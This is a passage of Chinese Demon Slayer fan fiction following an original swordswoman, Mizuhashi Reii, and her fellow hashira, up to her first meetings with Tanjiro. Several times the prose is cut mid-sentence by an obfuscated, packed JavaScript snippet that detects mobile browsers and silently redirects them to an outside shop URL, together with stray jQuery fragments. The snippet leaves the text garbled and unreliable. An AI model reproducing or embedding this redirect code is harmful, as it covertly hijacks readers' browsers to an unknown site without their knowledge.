所以,抱歉了,香奈惠姐姐。 ——我无法成为水桥怜衣的朋友。 她不能让那个人“失去”第三次。 她不能让那个人再一次陷入那样的境地。 那种事情太过残忍,她无法做到。 ——同样的事情再发生一次的话,水桥会变成什么样子呢? 蝴蝶忍不愿意去想,也不愿意看到。 所以,她不会成为水桥怜衣的朋友。 【五十二】 不过,这也不意味着她就会放着水桥怜衣不管了。 蝴蝶忍轻轻放下梳子,把双手搭在水桥怜衣的肩膀上。 “对了,我听甘露寺说,炼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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那么,她照着蜜璃送的御守亲手做了一个,还觉得这个御守“应该会很有用”,就不可能是因为“在特别灵验的神社和寺庙里祈过福”这种正常的理由了。 “你到底是怎么做那个御守的?”蝴蝶忍觉得自己的笑要挂不住了,“详·细·说·清·楚。” “就……就是……放了一点肯定会管用的材料……” 水桥怜衣现在不仅是目光乱飘,还开始流冷汗了。 “哦?你都放了什么?”蝴蝶忍逼近她,笑着问。 “就是……头发……还有一管血……” 蝴蝶忍的胸膛剧烈地起伏了一下。 “为什么要用头发?”她问。 “想要比较坚韧、不容易断的线……但是一时找不到……” 所以就用了自己的头发吗?真是符合水桥怜衣一贯逻辑的做法。 “那,血又是怎么回事?你不会是现场割开取血的吧?” 那样的话炼狱先生一定会当场爆炸的。要问为什么,那当然是因为她上次这么做的时候,自己已经炸过了。 “怎么会……”水桥怜衣缩了一下脖子,“我不会再那么做了……是用注射器抽血的,像平时做武器的时候那样做的……只取了一点点,指甲盖那么小一小瓶哦!” 哦,那大概就是抽了一小管血,放在了平时用来给蝴蝶忍做实验的最小号密封瓶里,再放进她用自己头发缝的御守里,又告诉炼狱杏寿郎遇到很危险的鬼就丢出去,那样的话,的确会很管用。 但是…… “你这——笨蛋!!!” 蝴蝶忍终于忍无可忍,握紧拳头,对着水桥怜衣的脑袋重重揍了下去。 【五十三】 对不起,姐姐。 这个世界上果然有些事情是她怎么努力都做不到的。 不管是和鬼好好相处,还是和水桥怜衣做朋友。 她都绝对,无法做到。 17.第十七章 【五十四】 甘露寺蜜璃是第三个送礼物上门的。背着一座小山……啊不,是小山那么多的礼物。 “这个是超~柔软的枕头!我买过一个,睡起来超级~舒服的!”甘露寺蜜璃在水桥怜衣的房间榻榻米上坐下,很是热情地从小山堆上一样一样往下拿东西,“还有这个!这个这个!是丝绸的睡衣哦!怜衣小姐摸摸看!超级柔软!触感超级好!” 年轻的女孩子一个劲儿地把丝绸的睡衣往她身上比,让她的皮肤接触那流水似的布料,大大的眼睛闪闪发光,满脸都写着“对吧,对吧”。水桥怜衣僵在那里,好半天才“嗯”了一声。甘露寺蜜璃顿时高兴起来了,欢呼一声又去拿别的东西。 画着兔子和猫的可爱小桌子,说是可以放在床边顺手放一些东西;用透明的玻璃罐装起来的五颜六色的金平糖,被现宝一样递到她的眼前来;有着轻飘飘裙摆的洋服和精致帽檐的西洋女帽,就这样被女孩子说着“怜衣小姐穿一定很可爱”堆到她的膝盖上;还有用盒子装的西洋点心,据说是“曲奇”还是别的什么,对方一边说着“这个超好吃”,一边自己叼着一个一边塞给她一个…… 水桥怜衣忽然无法遏制地发起抖来。 “怜衣小姐……?” 甘露寺蜜璃张大了眼睛,歪在她的怀里,很茫然地把水桥怜衣看着。 水桥怜衣抱住了甘露寺蜜璃,非常用力地、用一种完全不像她的方式,张开双臂抱住了甘露寺蜜璃。把她整个人按在自己怀里,披在肩上的宽大羽织微微滑落下来,像是黑鸟的翅膀一样,遮蔽了甘露寺蜜璃眼前的光线。水桥怜衣不住地发着抖,越发用力地抱住了怀里的少女。 很久以前……很久以前…… 也有过类似的事。 像是这样对她笑着的人,拿着漂亮的新衣服对她比来比去的人……马上就不见了。 一下子,就会不见了。 “怜衣小姐……怜衣小姐?” 甘露寺蜜璃反过来抱住她,让不住发抖的大人靠在自己身上,一下又一下,轻轻抚摸着她的头,拍着她的后背。像是在安慰做了噩梦的小孩子一样。 “没事的,怜衣小姐。” 虽然完全不明白发生了什么,那少女还是用温柔的声音安慰了她。 “什么事也没有,怜衣小姐。不要害怕,你看,我们现在很安全,没有什么可怕的。” 在那温柔的声音之下,水桥怜衣那阵不明原因的颤抖渐渐停了下来。 抬起头的时候,就能看到女孩子甜美的笑脸,眼睛下面两个小小的痣,看起来也像在笑一样,格外可爱。 粉绿色头发的少女摸了摸她的头,声音又温柔又甜。 “不害怕了吧?”她笑了笑,“我家里是五姐弟呢,弟弟妹妹害怕的时候,我就这么安慰他们——很管用吧?” 水桥怜衣:“……” 跟谁没大没小呢这孩子。搞搞清楚她的年纪可比这家伙的师父还要大啊。 她撑着榻榻米坐了起来,抬手理了理自己的头发。 “甘露寺。”她的声音平静又富有压迫力,“一会儿吃完饭去修炼场,我要给你训练。” “咦?咦咦咦?为什么啊怜衣小姐——” “别废话!你现在还是太弱了!” “咦咦咦咦——不要啊——————” 【五十五】 不要死。 不要像花柱大人……也不要像美花姐姐那样,在她面前死掉。 她无法承受。 她……无法承受。 所以,不要死。 【五十六】 在训练场把甘露寺蜜璃操练了一个彻底,水桥怜衣总算是满意了。 抛下还趴在地上喃喃“是鬼”“怜衣小姐简直就是鬼”的甘露寺蜜璃,水桥怜衣自顾自去洗了个澡。清凉的井水滑过了身体上的淤伤,也带走了汗水和污垢。甘露寺蜜璃很强,而且会越来越强,刚才的战斗里她有打到自己好几下,虽然没能像自己打落她的木刀那样打掉她的武器,但说实话,还是蛮痛的。 这就是肌肉八倍娘的实力吗…… 水桥怜衣第一次深刻理解了蝴蝶忍所说的“甘露寺的肌肉密度是正常人的八倍”到底是什么意思。 可恶……好嫉妒啊。 她要是有这么多的肌肉就好了。 那样的话挥刀一定会变得更有力,能做的动作一定会比现在更多,可恶啊这世界上天生强大的家伙那么多为什么就不能有我一个……老天爷就不能再多给我一点天赋和肌肉吗?! 水桥怜衣把整个脑袋都栽进水桶里,咕嘟咕嘟地冒着泡泡。 在她用毛巾拧着刚冲洗干 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16885881|191728||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 净的头发时,一回头就看到了浴室门口正在发呆的甘露寺蜜璃。 “怜衣小姐……” 甘露寺蜜璃看起来好像快要哭了。水桥怜衣呆了一呆,这才反应过来,匆忙把外衣穿上了。甘露寺蜜璃匆匆丢下自己手里的浴巾和木盆,扑过来把她抱住了。 “怜衣小姐——” 得,这个澡算是白洗了。 看着正哭哭啼啼把眼泪都糊到她衣服上的女孩,水桥怜衣无可奈何地抬起头来,看着浴室的天花板。 “好多伤……还痛吗?还会痛吗,怜衣小姐?” 女孩抱着她,好像是连这样都会让她觉得痛那样,小心翼翼地虚张着手臂。 真是愚蠢的问题。 水桥怜衣想。 那么早之前的伤,早就不会痛了。 她伸出手来,在甘露寺蜜璃的肩上拍了一拍。 “给我起开。”她看着上面,不客气地说,“你重死了。” “……怜衣小姐!” 甘露寺蜜璃抬起头来,眼泪汪汪地看过来,可惜水桥怜衣自觉没有做错任何事,顿时变得心硬如铁,见甘露寺让开就站起身来,把湿漉漉的头发搭在左肩上,用空出来的右手在甘露寺蜜璃的头上压了一压。 “记得先用冷水洗澡。”她好心提醒了一下,“不然淤伤会变得严重的。” 甘露寺蜜璃顿时想起了刚才水桥怜衣毫不留情而又如狂风暴雨一般的攻击,顿时眼泪流得更多了。 “怜衣小姐好过分——” 她哭着抗议,拖长了嗓音。 “不保重身体的话我还能更过分。” 水桥怜衣看着地上的木盆好一会儿,才弯下腰捡起来,没什么表情地递回给甘露寺蜜璃。 “鬼可是很残忍的。” 她停顿了一下,声音低下去了几分。 “要变强啊,蜜璃。” 变强到……即使是上弦之鬼,也不能将你杀死。 甘露寺蜜璃怔了怔,而后破涕为笑。 “嗯!”她用力握紧了双拳,像是要给自己鼓劲一样在胸前晃了晃,“甘露寺蜜璃,一定会变得超级强的!” 水桥怜衣微微睁大了眼睛。 那个笑容…… 真是她看过的,最天真、最笨拙、最…… 最明媚的笑容。 18.第十八章 【五十八】 甘露寺蜜璃也升上柱的时候,水桥怜衣很难得的露出了笑容。 “恭喜。” 她将一支花簪递给了蜜璃,说了一句“升柱的礼物”。甘露寺蜜璃充满感动地接下,发现那是一支满开樱花的花簪,非常别致的用了很清新的绿叶做底,衬托得浅红淡白的绢花越发娇俏可爱,一看便知道是特意为她选的。 而怜衣小姐还在一边别开脸一边说着什么“只是出任务的时候偶然买下的”“我不适合戴这种东西留着也是浪费所以送给你”之类的可爱的话……哎呀实在是可爱到不行! 甘露寺蜜璃被这样的怜衣小姐可爱到受不了,张开双臂全力抱了上去。 “谢谢怜衣小姐!我会好好珍惜的!!!” 她超大声地说。 怜衣小姐发出了垂死呻.吟一般的声音。 “松手……松手……肋骨、肋骨要断了……” 总之红着脸拼命推拒她的怜衣小姐也好可爱! 甘露寺蜜璃再一次理解了自己的师父。 怜衣小姐有这——么——可爱!炼狱先生总喜欢去逗逗她也是理所当然的! 等她终于松开手的时候,怜衣小姐已经猫一样消失了踪迹。甘露寺蜜璃四下张望,最后在富冈先生的身后看到了正在被收回去的红梅羽织的一角。 哎呀哎呀,像藏起自己尾巴的黑猫一样呢。 甘露寺蜜璃捧着脸想。 说起来富冈先生的眼睛是不是稍稍睁大了一点?哎?富冈先生好像一动不动了!为什么?为什么?啊他的目光好像偏了一点点,是在想要不要换个位置坐吗?啊!富冈先生又不动了!一动不动的富冈先生也很帅!面无表情让人想不出在想什么的样子太帅了! “哦!怜衣小姐原来在这里!” 炼狱先生不知何时已经站到了富冈先生的旁边,正低着头对藏在他影子里的怜衣小姐说着什么,不知道对方回了一句什么,炼狱先生顿时大笑起来。 “原来如此!怜衣小姐在担心柱合会议开始前这么找你闲聊会对主公大人失礼吧?没关系!主公大人还没有到,而且主公大人不会在意这些事的!不如说让他看到剑士们相处良好他还会更开心!主公大人就是如此温柔而豁达的人!” 炼狱先生微微弯下腰,对着富冈先生的影子里面伸出手。 “好了,怜衣小姐,快点出来吧。就算是为了让主公大人安心,也要和大家好好相处,多说说话吧?”他微笑着说,“总是一个人躲起来背对着大家藏在阴影里可不行!” 甘露寺蜜璃看到富冈先生的影子动了动。 不对,是富冈先生动了动。 “啪——” 被整个人往前推了一把的富冈义勇露出了迷茫的表情。 终于从他的影子后面显露了身形的水桥怜衣低着头,用力到血管都有点爆起来的双手撑住富冈义勇的后背,把他又往前推了推。 “比起我……” 甘露寺蜜璃听见水桥怜衣的声音,不知道为什么,让她想到了童年听过的灵异怪谈里藏身于桥下的水鬼。 她说:“比起我……富冈更需要和大家好好相处吧?” 她停顿了一下,又道。 “主公大人也说过,想要看到富冈义勇的笑容。” 这下其他的柱也都看过来了。 【五十九】 富冈先生和炼狱先生大眼瞪大眼,水柱的脸上写满了迷茫。 而水桥怜衣已经又从原地消失了。 【六十】 不知道为什么,最后变成了烤红薯大赛。 甘露寺蜜璃捧着手里的红薯,开始回忆事情是怎么走到这一步的。 “促进大家和睦相处的游戏吗?听起来很好。” 最开始,好像是主公大人这么说的。那时候,他好像还含笑看了水桥怜衣一眼。 “是怜衣的提议吗?真难得,怜衣也会主动提出自己的意见,这是很好的事。” 而垂着头的女子看起来似乎激动(害羞?)到要晕过去了——怜衣小姐什么都好,就是有时候太害羞了! 甘露寺蜜璃忍不住这样想。 虽然害羞的怜衣小姐也很可爱! “那么,等到此次会议结束后,大家就留下来吧。” 主公大人微笑着说道,话语轻柔,但堪称一锤定音。 “偶尔放松一下也不错,我的孩子们。” ——于是,事情就变成这样了。 提议大家一起烤红薯的人当然是炼狱先生,虽然甘露寺蜜璃很想说“喜欢吃红薯的不是炼狱先生自己吗”,但鉴于炼狱先生毕竟曾经是她的师父,而蜜璃自己也很喜欢吃红薯,她还是把这句话给咽了回去,看着“隐”的成员搬来两大筐红薯,大家一起在院子外面收集枯枝落叶,分成几堆开始各种烤红薯。 蛇柱伊黑小芭内选择和风柱不死川实弥凑到一起烤红薯,不死川先生意外地非常擅长收集树枝和生火,反倒是伊黑先生在这方面有点笨手笨脚,拖了不死川先生的后腿。 蝴蝶忍则是带着一种做实验般的精确,在那里挑选着树叶和枯枝,还在比对着分到的红薯的大小,似乎是在思考一会儿放进火堆去烤的顺序,看她的样子,应该还要纠结好一会儿才会开始动手吧。 宇髓天元那边则是已经生起了火,立派又华丽的大人显然不会在这种细枝末节上纠结,已经漂亮地开始烤起了红薯。 富冈先生面无表情地看着自己面前的枯枝树叶和红薯,一动也不动,真好奇,他在想什么呢? 霞柱时透无一郎则是在呆呆地看着天空,也对,无一郎君的记忆力好像有问题,可能已经把这项任务忘记了吧? 炼狱先生……炼狱先生那边的火堆是不是有点火势太旺了? 而怜衣小姐这一次蜷缩到了悲鸣屿先生的影子里。似乎是因为她认为上一次会被炼狱先生逮到,是富冈先生不够高大的缘故。她好像完全没有要参与到这次烤红薯活动里的意思,一心一意只想把自己在悲鸣屿先生的影子里缩起来,仿佛这样就能被所有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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蝴蝶忍烤出来的红薯倒是软硬适中,收到了大家的一致好评,平时总是笑得像花一样的女孩子难得露出了符合她年纪的表情,一点看起来真心的笑意。让围观的好几个“隐”的成员捂着心口倒了下去。 但就算是蝴蝶忍的烤红薯也赢不过风柱不死川实弥的成品。莫名在这种地方暴露了长男力的不死川大人高昂着头,提着自己烤好的红薯,得意地看向水柱富冈义勇的方向。 富冈义勇……富冈义勇还在神情严肃地看着自己面前这堆枯枝落叶,专注到完全没觉察到风柱和蛇柱的凶狠目光已经快把他眼前的叶子堆点起来了。甚至有围观的“隐”在小声吐槽水柱大人是不是完全不知道红薯要怎么烤啊——然后水柱大人就僵住了。 他居然僵住了! 恋柱甘露寺蜜璃则是因为之前东张西望耽误了太多时间,正在手忙脚乱地生火放红薯,蛇柱伊黑小芭内已经结束了和风柱的合作,正在笨手笨脚地帮她,两个人达成了一个1+1=1的效果。围着他们二人的“隐”正抓紧了彼此的手,目光闪闪地期望他们成功。 岩柱……悲鸣屿行冥先生则是默默从火堆里掏出来了烤好的红薯——天啊他甚至是徒手——挑了一个大小适中的递给了抓着他衣角缩在他影子里的水桥怜衣。 “吃吧。” 盲眼的僧人说罢,再次合拢双手,口中念了一声“南无阿弥陀佛”,又继续回过身去看自己的火了。 水桥怜衣捧着手里的烤红薯发了会儿呆,最后还是撕开皮尝了一口。 然后她露出了好吃到被融化的表情。 19.第十九章 【六十二】 一年后。 有带着鬼的少年剑士加入了鬼杀队,在斩杀下弦之五的战斗后被带去了鬼杀队的本部,交由主公大人与各位柱共同裁断。 【六十三】 在经历了可以说决定他和妹妹生死的柱合会议之后,灶门炭治郎在蝶屋养伤。 以一个十五、六岁的少年来说,灶门炭治郎的人生堪称跌宕起伏——特别是最近这两年的时间。但就算在他格外跌宕起伏的这两年的人生里,前一天的经历也完全称得上是至今为止最极致的大起大落。 “感觉……差一点就死了啊……” 炭治郎心有余悸地呼出一口气。 事情要从两年前的那个雪夜说起。 简而言之,在某个很平常的一天,灶门家的长男炭治郎出门卖炭,等他第二天回家之后,等待他的就是灭门血案的现场,母亲与四个弟弟妹妹全部惨死,唯一活下来的妹妹祢豆子则被变成了食人的鬼。 为了让祢豆子变回人类,灶门炭治郎踏上了成为剑士的旅途,加入鬼杀队,开始杀鬼。 而鬼杀队作为灭杀恶鬼的组织,显而易见,不可能接受队士带着食人鬼一起行动。 灶门炭治郎一被发现居然一直背着一个鬼,就差一点被清算了。如果不是当时在场的水柱富冈义勇拦了一下,他的妹妹就要被另一位虫柱当场诛杀。 在那之后,炭治郎和他的妹妹祢豆子在鬼杀队主公的授意下,被一起带去了本部。在那里他见到了鬼杀队的几位“柱”——也就是最高级的剑士和管理者。 长年活跃在与恶鬼厮杀第一线的剑士们并不相信炭治郎的话。无论他怎么解释祢豆子从来没有吃人,还会和他一起作战、并肩保护人类,也没有任何一个人相信他的话。 如果不是祢豆子最后证明了自己,在负伤饥饿状态下也拒绝了送到嘴边的人血,恐怕他们兄妹都会当场死在那里。 不,毫无疑问,一定会死。 灶门炭治郎摸了摸自己的脖子。那里还残留着一道细长的伤口。 在他说出“祢豆子虽然是鬼,但从来没有吃过人、以后也不会吃人”那句话时,他的身边爆发了前所未有的杀意。 那种纯粹的杀意和憎恨、汹涌澎湃的恶意,在一瞬间盖过了在场所有的人。 如果不是那位虫柱与炎柱同时行动,一个拔刀一个按住了人,灶门炭治郎一定会被那位黑发的女性割下头颅来。 “鬼不会吃人?” 阴森森的黑发下,那双阴森森的绿眼睛死死地盯住他,从炭治郎的角度看过去,可以清楚看到刘海下划过了半张脸庞、几乎可以把她一只眼睛都抠瞎的陈旧爪痕——那不是人类或者野兽可以留下的痕迹——那是鬼所留下的伤疤。 “喂,小子——你把我们都当成傻子了吗?” 蝴蝶忍的刀格挡住了对方的刀刃,没有让她的刀锋再前进一步。这位一直笑脸迎人的女性第一次失去了笑容,紫色的眼睛冰冷地注视着对方。 明明一见面就想要杀死祢豆子,这位虫柱此刻却在为了保护灶门炭治郎而与对方拔刀相向。 “事情还没有定论。而且,主公大人要见这对兄妹。”蝴蝶忍的声音稍稍沉了下去,“水桥,这是主公大人的命令。你想要违背主公的意志吗?” 而另一边,有着金红头发、披着火焰羽织的男子也从另一边压住了对方的肩。 “冷静一点,怜衣小姐。”他说,“我理解你的心情,我也支持对这位少年进行处刑。” 他的手上用了点力气,把女子的刀从蝴蝶忍的刀尖上挪走。 “但是,就像甘露寺说的那样——主公大人还没有到,我们擅自决定并不好。” 而就算是鬼杀队的主公驾临,亲自表达了对灶门炭治郎和灶门祢豆子的认同,承认了他二人都为鬼杀队的一员——也没能改变那名黑发女子的态度。 “请您把那只鬼交给我。” 披着黑底红梅羽织的女子深深地伏下身去,额头重重抵在手背上,乌黑的长发滑落下来,遮挡了她这一刻的表情。灶门炭治郎只能听到她的声音,带着如此漆黑而黏稠的憎恶与杀意。 “我会用我的方式戳破她的谎言,给所有人一个交代。” 那一刻,就连之前放话要华丽地砍下他的头来的音柱,还有干脆地认定他们兄妹都应该被处刑的炎柱,以及一直纠缠不清的蛇柱……都在她说出那句话之后,齐刷刷地露出了“还是别了吧”的表情。 这人到底怎么回事啊?! 连一边摁着他脑袋的风柱都露出了“受不了”的表情,说了一声“冷静一点,水桥,我会用我的方式来证明鬼不可能不吃人”,就抓着装着祢豆子的箱子跳到了主公那边。 但是,就算是祢豆子证明了自己,拒绝了不死川的血,从那名女性那里传来的愤怒与憎恶的味道还是没有消失。 哪怕是炭治郎被“隐”的成员带走的时候,也能感觉到那双阴森的眼睛依旧在注视着他,一直一直都在注视着他。 “……好可怕。” 炭治郎忍不住又打了个寒噤。 连送他到蝶屋的“隐”的成员都在一个劲儿地说他命好,如果是怨柱大人先到了那田蜘蛛山,那他和他妹妹一个都活不下来,要不是今天在场的柱比较多,他们也活不下来。 “而且肯定会死得超级惨。” 男性的“隐”狠狠打了个哆嗦,女性的“隐”也在一旁用力点头。两个人怕得真心实意,甚至超越了对炭治郎给他们惹麻烦的怨气,让他们一前一后对他叮嘱起来。 什么以后见到那位大人一定要绕道,那位大人对鬼的手段超级残忍,经常把鬼钉起来活着剖开或者碎尸万段,有负责善后的后勤成员不幸目击了现场结果三天三夜没有吃下饭……回想起那时候那名女性身上恐怖的气息,炭治郎对这怪谈一样夸张的描述倒是没有一点怀疑。 “但是,那是有理由的吧?”他回忆着那名女性身上浓稠的憎恨与愤怒的味道,忍不住为差点要杀死自己的人说了句话。 听到他这句话的“隐”愣了一下,身上的氛围低落了下去。 “是啊。”他说,“水桥大人的家人都被鬼所杀害了,她一个人和尸体呆了好几天,才被人发现。发现她的人是鬼杀队的培育师,据说她的姐姐原本是那个培育师看中的,要被收为弟子,没想到只是回家一趟就发生了这种事……有过那种经历,会格外憎恨鬼也是理所当然的。” “原来是这样……” 炭治郎低下头,几乎要为那个人感到难过起来了。 反倒是“隐”很好心地提醒他:“鬼杀队的‘柱’都是长年和鬼战斗在一线的人,他们不会轻易相信‘鬼不吃人’这种话,大家对鬼的态度都很冷峻。但就算在偏激派里,水桥大人也是格外极端的类型。她可是‘怨柱’啊,能用‘怨’作为自己呼吸法名字的人,她有多恨鬼你根本无法想象。你这家伙好像天不怕地不怕的,但是我警告你,千万不要冒犯水桥大人!就算只是为了我们!水桥大人生起气来超可怕的!我心脏都停止跳动了!知道吗?!” “是!!!” 那时候的炭治郎一个哆嗦抬起头来,大声回应道。 …… 话虽如此,灶门炭治郎还是对那天的事情很在意。 以至于在和蝴蝶忍聊天的时候,他忍不住将这个问题问出了口。 “那个时候,你为什么要阻拦那个人呢?”他看着月光下的蝴蝶忍,“你们是朋友不是吗?” 那个时候,被这个人拦住的瞬间,那个人身上的气息波动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16896096|191728||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,炭治郎有一种感觉,如果当时出手的不是他们两个的话,那个人未必会停手。而眼前的蝴蝶忍,也在那时候发出了有点悲伤又很生气的味道。 “哎呀,这都看得出来吗?你的鼻子真的很好用呢。” 蝴蝶忍笑起来,抱着双膝,抬头看了看夜空中的月亮。 “虽然我和那个人并不是朋友……不过,还是要阻止她做错误的事。” “诶?”炭治郎睁大了眼睛。 “男孩你不是鬼,是人类吧?而且也是斩杀了鬼的剑士,我看到了下弦之鬼死去的地方,你在那里一直和他战斗吧?明明只是癸级,面对十二鬼月却没有逃走,这很难得。我认为,你是鬼杀队的一员,那么,保护队员也是柱的职责。” 蝴蝶忍回过头来,对他微笑。 “水桥有时候迁怒得太过火了。斩杀鬼是我们的职责,但是斩杀人类并不是。嘛,虽然可以理解她也不喜欢人类,不过还是不能让她做这样的事呢——会后悔的。” 她的声音微微低了下去。 “如果事后证明杀错人的话,那家伙一定会后悔的。” 所以才会阻止啊。 炭治郎恍然点头。 “果然,你们两位的关系很要好呢!”他笑着说,“彼此关心,会为对方好好考虑,两位果然是很好的朋友!” 呃…… 怎么感觉忍小姐变得更生气了??? “我开始期待了,炭治郎君。” 蝴蝶忍对他露出了一个全无笑意的微笑。 “你和小怜衣碰到的话,会发生什么有趣的事情呢?” ……为什么突然感觉有点冷? 炭治郎打了个寒颤,不明所以。 【六十四】 但不管是谁都想不到,灶门炭治郎和水桥怜衣再见面的机会来得有这么快。 “呃……” 接到了和炎柱大人一起执行无限列车的任务,带着妹妹跟自己的两位小伙伴(我妻善逸、嘴平伊之助)去指定的地点跟那位炎柱大人会和……到这一步都没什么问题。 但见到炎柱大人以后对方说的每一句话他都没法理解。 “您是说,我们现在就要动身去警局了吗?”炭治郎觉得自己的头开始痛了,他组织了一下语言,还是没有忍住问了一句,“为什么要这么急呢?” “因为不尽快的话,可能会赶不上无限列车发车的时间。” 炎柱的声音很是爽朗,毫无阴霾,而又让人难以理解。 “炭治郎的意思是啊——”我妻善逸叹了口气,从旁解释,“我们为什么要先去警察局?你看,我们都带着刀吧?废刀令已经颁布好些年了,鬼杀队又不是官方组织,带着刀去警察局的话会有麻烦的吧?” 简直就是送上门去给警察抓啊——我妻善逸小声嘀咕了一句。 “嗯!有道理!那在我和炭治郎少年进去的时候,就麻烦黄头发少年你带着我们的刀和猪头少年一起在外面等了!” “不是,我是在问到底为什么要去警局啊——” 善逸有点抓狂了。 “嗯?那个一开始就说过了吧?” 金红头发的男人抱着双臂,微微歪了歪头。 “我们要去警局接一个同伴。她被当作连环杀人案的嫌疑人抓起来了,我们要去把她接出来。” 男人率先迈开脚步,面上带着一如既往的笑容。 “我们要去接的人叫水桥怜衣——和我一样,她也是鬼杀队的‘柱’——你们见到她的话就会明白的,怜衣小姐是相当不错的人!” 炭治郎:“呃……” 他摸了摸背后装着祢豆子的箱子,很是不安地回想起了那个人的气息,以及各路人马给他的警告。 ……真的没问题吗? 20.第二十章 【六十五】 没问题才有鬼了。 灶门炭治郎僵硬地看着水桥怜衣。而在他身边,我妻善逸像鹌鹑一样蜷缩起来,抓着他的衣角躲在他身后一副大气都不敢出的模样。就连平日天不怕地不怕、看到水柱都敢上去高喊“来跟老子打一架吧”的伊之助,此刻也不再猪突猛进了。 好沉重,空气好沉重。 炭治郎痛苦地想,他快要没法呼吸了。 黑衣黑发的女子这次并没有拔刀,但她周身阴郁到了极致的氛围就像积雨云一样将他们笼罩起来,沉重得好像把这一片区域的空气都压实了。 好恐怖,她要是说点什么都还好,但她偏偏只是抱着双臂站在那里一个字都不说,甚至没有看任何一个人。这种如有实质的沉默实在是令人窒息,炭治郎觉得身后的善逸已经快要口吐白沫了。 怎么说呢……虽然很失礼……但是炭治郎好像知道为什么眼前的这位女性会被当成是连环杀人案的凶手被警察抓进去了。 他觉得她如果再这么沉默下去,马上连他们也要跟着一起二进宫了……路人的表情好惊恐啊,门口的警察先生们的目光也越来越扎人了啊…… “久等了!怜衣小姐!” 开朗的男声如同正午的阳光一样穿透了阴云,刺破了此地快要凝滞起来的氛围。身着火焰羽织、有着金红发色的男子提着一柄日轮刀从警局里走了出来,空出的手重重拍上了黑发女子的肩。 “别生气了怜衣小姐,来迟了是我不好!让你在警局等了这么久实在是不好意思!” 黑衣的女子终于有了动作,她抬手打开了炼狱杏寿郎的手,从对方另一只手里夺过自己的日轮刀,别回腰上,用黑底红梅的羽织遮住,这才不怎么高兴地扭过脸去,拧紧了眉头。 “别这么大声。”她用指尖支了支额角,眉头拧得更紧了,“你知道我已经几天没睡了吗?” “抱歉。”炼狱杏寿郎的笑容一点也没变,“不过恐怕还是要辛苦怜衣小姐一点,因为我们接下来要去赶无限列车的火车了!” “那不是你的任务吗?喊我做什么?” 她很不高兴似的瞥了炼狱一眼。 “嗯——因为我很信任怜衣小姐!”炼狱笑着开始往前跑,一点也不担心水桥怜衣会不会跟上来,“怜衣小姐作为同伴是最可靠的,和你并肩作战我没有任何可担心的事!而且自从当了柱以后我们就很少合作了,机会难得,要不要一起?” 水桥怜衣捏了捏眉心,叹了口气:“……真是够了。” 话虽如此,那黑衣的女子还是配合着炎柱迈开了脚步,黑色的长发因此在夜风中翻飞,露出那双绿色的眼睛。 炭治郎惊觉,和上一次在日光下看到的不一样,水桥怜衣的眼睛在黑夜里会显现出一种磷火般的光辉,像是黑夜里幽绿的鬼火。不知道是不是他的错觉,那种光辉仿佛是在流动着的,如同某种摇荡的湖水——或者绿酒。 好特别的眼睛——她的眼睛也和香奈乎一样是特殊的吗? 这个念头在炭治郎的脑海中闪过了一瞬就被他自己否决了。 不,那不一样。香奈乎的眼睛特殊的地方是视线、或者说眼神。但水桥小姐的眼睛特殊的地方是…… “小子,你在看什么?” 女人不快的声音在他耳边响起,炭治郎猛然清醒过来,连忙用力摇头,一叠声地说着“没什么”。 水桥小姐冷哼了一声,没有再搭理他,而是跟着炎柱的脚步一起跑动。 灶门炭治郎则是一下子想明白了什么。 ……水桥小姐特殊的地方是,那双眼睛本身。 那双眼睛本身就是活着的。和她身上时时刻刻都在变化的气味一样,是活着的。 从第一次接触时,灶门炭治郎就发现了,水桥怜衣身上的气息一直都在发生变化。微小的,难以觉察的变化,但那也是一种时时刻刻都在进行的变化。 人的气味原本应该是很安定的,炎柱大人就是如此。虽然情绪会变化,但是“基调”是不会改变的。或者说,即使有所改变,那也是缓慢到难以觉察,只有日积月累才会发觉“啊,这个人已经变了”……但那个人不一样。 水桥小姐的“气味”,时时刻刻都在发生细微的改变。 “喂,炭治郎……”我妻善逸凑到他的身边,脸色铁青地小声对他说,“那个人的声音,好奇怪啊……” 就像是害怕被前面的人听到一样,善逸落后了一步,凑到炭治郎的身边,把自己的声音压得很低。 “那个人的身体里一直有好多其他的声音在响……好可怕……”他说着说着自己都颤抖起来了,“我从来没有听过这样的声 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“那个黑羽织很强啊。”他说,“非常强,比她表现出来的强多了,切磋的话她肯定赢不过那个大眼珠子,但是死斗的话绝对是她赢。那家伙很会杀人,绝对没错的。她比那个大眼珠子危险多了。” “伊之助……”炭治郎苦笑起来,“这么议论别人可是不好的哦?” 伊之助顿时暴怒起来:“什么啊!我是好心提醒你!那家伙的杀意都冲你来了!我是让你注意!蠢货!笨蛋!呆瓜!” 伊之助一边怒吼着,一边梆梆地用拳头敲炭治郎的头,炭治郎只能苦笑着捂住脑袋讨饶,我妻善逸则是一脸扭曲地跑过来拦,时不时还惊恐地往前面越跑越远的两个人的方向看一看,生怕对方听到他们的非议折回来给他们一人一刀。 “好了不要打了!!!柱都要跑没影了——————————”(一阵肮脏的高音) 